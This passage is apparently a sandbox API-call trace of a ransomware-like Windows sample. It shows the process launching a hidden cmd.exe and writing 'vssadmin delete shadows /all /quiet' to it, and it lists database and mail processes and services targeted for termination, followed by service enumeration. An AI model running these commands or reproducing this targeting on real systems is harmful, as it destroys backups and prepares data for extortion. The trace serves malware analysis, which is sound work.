Ptr=0x6aecd0, Size=0x8) returned 0x6aece0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aece0, Size=0x10) returned 0x6810e8 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6810e8, Size=0x20) returned 0x665b68 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeca0, Size=0x8) returned 0x6aece0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aecb0, Size=0x8) returned 0x6aeca0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aecd0, Size=0x8) returned 0x6aecf0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aecf0, Size=0x10) returned 0x6811b0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6811b0, Size=0x20) returned 0x665b90 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aece0, Size=0x10) returned 0x6811b0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeca0, Size=0x10) returned 0x6811e0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aece0, Size=0x8) returned 0x6aecd0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aed00, Size=0x8) returned 0x6aed10 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6811b0, Size=0x20) returned 0x665bb8 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6811e0, Size=0x20) returned 0x665be0 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aed20, Size=0x8) returned 0x6aed30 [0146.976] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681258, Size=0x20) returned 0x665c30 [0146.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x68bd80, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0146.976] lstrlenW (lpString="C:\\") returned 3 [0146.976] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aed60, Size=0x82) returned 0x66a3f8 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae198, Size=0x100) returned 0x67d590 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681980, Size=0x104) returned 0x681aa0 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab7a8, Size=0x100) returned 0x67d698 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3f8, Size=0x104) returned 0x681bb0 [0146.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67d590, Size=0x200) returned 0x681cd8 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae188 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681cd8 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681300 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab720 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6812b8 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab698 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6812e8 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681bb0 | out: hHeap=0x630000) returned 1 [0147.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6812d0 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681aa0 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681318 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681a10 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681330 | out: hHeap=0x630000) returned 1 [0147.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae188 [0147.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681330 [0147.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681330, Size=0x20) returned 0x665de8 [0147.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665de8, Size=0x40) returned 0x666e58 [0147.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681330 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed40 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681258 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a368 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681288 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d698 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681270 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed50 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6812a0 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a338 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666278 | out: hHeap=0x630000) returned 1 [0147.077] lstrlenW (lpString="%systemdrive%") returned 13 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665c30 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab588 | out: hHeap=0x630000) returned 1 [0147.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed20 | out: hHeap=0x630000) returned 1 [0147.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c) returned 0x66a338 [0147.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2000) returned 0x69bd88 [0147.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6afd78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0147.078] WaitForMultipleObjects (nCount=0x2, lpHandles=0x667dc0*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0182.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667dc0 | out: hHeap=0x630000) returned 1 [0182.431] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0182.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666b88 | out: hHeap=0x630000) returned 1 [0182.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afbd0 [0182.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbd0, Size=0x20) returned 0x665a28 [0182.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665a28, Size=0x40) returned 0x666b88 [0182.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666b88, Size=0x80) returned 0x6ab588 [0182.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afbd0 [0182.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbd0, Size=0x20) returned 0x665a28 [0182.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1fffc) returned 0x431b128 [0182.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68bd80 [0182.432] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x66b550 [0182.432] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afbd0 [0182.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbd0, Size=0x20) returned 0x6659d8 [0182.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6659d8, Size=0x40) returned 0x666b88 [0182.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666b88, Size=0x80) returned 0x6ab940 [0182.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab940, Size=0x100) returned 0x67d8a8 [0182.432] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0182.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d8a8 | out: hHeap=0x630000) returned 1 [0182.432] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x68bd80, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0182.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66b550 | out: hHeap=0x630000) returned 1 [0182.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0182.432] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0x11c, hWritePipe=0x18fd5c*=0x1bc) returned 1 [0182.432] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0x1d4, hWritePipe=0x18fdcc*=0x198) returned 1 [0182.432] SetHandleInformation (hObject=0x1bc, dwMask=0x1, dwFlags=0x0) returned 1 [0182.432] SetHandleInformation (hObject=0x1d4, dwMask=0x1, dwFlags=0x0) returned 1 [0182.432] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x11c, hStdOutput=0x198, hStdError=0x198), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0x2e0, hThread=0x158, dwProcessId=0x4e4, dwThreadId=0x654)) returned 1 [0182.437] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0182.437] WriteFile (in: hFile=0x1bc, lpBuffer=0x6ab588*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x6ab588*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0182.437] CloseHandle (hObject=0x2e0) returned 1 [0182.437] CloseHandle (hObject=0x158) returned 1 [0182.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x431b128 | out: hHeap=0x630000) returned 1 [0182.437] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0182.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab588 | out: hHeap=0x630000) returned 1 [0182.437] lstrlenW (lpString="%comspec%") returned 9 [0182.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a28 | out: hHeap=0x630000) returned 1 [0182.437] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0182.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x633848 | out: hHeap=0x630000) returned 1 [0182.437] ExitProcess (uExitCode=0x0) Thread: id = 328 os_tid = 0x704 Thread: id = 330 os_tid = 0x718 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681348 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681348, Size=0x20) returned 0x665c58 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665c58, Size=0x40) returned 0x666cf0 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666cf0, Size=0x80) returned 0x6ab7a8 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab7a8, Size=0x100) returned 0x67d590 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681348 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681348, Size=0x20) returned 0x665c58 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665c58, Size=0x40) returned 0x666cf0 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666cf0, Size=0x80) returned 0x6ab7a8 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab7a8, Size=0x100) returned 0x67d7a0 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x681348 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6ae198 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681360 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae198, Size=0x8) returned 0x6ae1a8 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x666298 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae1a8, Size=0x10) returned 0x681378 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6662b8 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x665c58 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681378, Size=0x20) returned 0x665c80 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x665ca8 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6662d8 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x665cd0 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x681378 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6ae1a8 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40) returned 0x666cf0 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae1a8, Size=0x8) returned 0x6ae198 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c) returned 0x666d38 [0147.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ae198, Size=0x10) returned 0x681390 [0147.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6662f8 [0147.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x666318 [0147.041] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681390, Size=0x20) returned 0x665cf8 [0147.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x681980 [0147.041] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0147.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d590 | out: hHeap=0x630000) returned 1 [0147.041] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0147.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d7a0 | out: hHeap=0x630000) returned 1 [0147.041] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x665d98 [0147.043] EnumServicesStatusExW (in: hSCManager=0x665d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0147.044] GetLastError () returned 0xea [0147.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x687370 [0147.044] EnumServicesStatusExW (in: hSCManager=0x665d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687370, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687370, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0147.044] CloseServiceHandle (hSCObject=0x665d98) returned 1 [0147.044] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.044] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.045] lstrlenW (lpString="AudioSrv") returned 8 [0147.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0147.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0147.045] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0147.045] lstrlenW (lpString="BFE") returned 3 [0147.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.045] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.045] lstrlenW (lpString="CryptSvc") returned 8 [0147.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.045] lstrlenW (lpString="CscService") returned 10 [0147.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0147.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0147.045] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0147.045] lstrlenW (lpString="DcomLaunch") returned 10 [0147.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.045] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.045] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.046] lstrlenW (lpString="Dhcp") returned 4 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.046] lstrlenW (lpString="Dnscache") returned 8 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.046] lstrlenW (lpString="DPS") returned 3 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.046] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.046] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.046] lstrlenW (lpString="eventlog") returned 8 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0147.046] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0147.046] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0147.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0147.046] lstrlenW (lpString="EventSystem") returned 11 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.046] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.046] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0147.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.046] lstrlenW (lpString="gpsvc") returned 5 [0147.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.047] lstrlenW (lpString="iphlpsvc") returned 8 [0147.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0147.047] lstrlenW (lpString="LanmanServer") returned 12 [0147.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0147.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0147.047] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.047] lstrlenW (lpString="lmhosts") returned 7 [0147.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.047] lstrlenW (lpString="MMCSS") returned 5 [0147.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0147.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0147.047] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0147.047] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0147.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0147.048] lstrlenW (lpString="MpsSvc") returned 6 [0147.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.048] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.048] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.048] lstrlenW (lpString="Netman") returned 6 [0147.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0147.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0147.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0147.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0147.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0147.048] lstrlenW (lpString="netprofm") returned 8 [0147.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0147.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0147.048] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0147.048] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0147.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0147.048] lstrlenW (lpString="NlaSvc") returned 6 [0147.048] lstrcmpiW 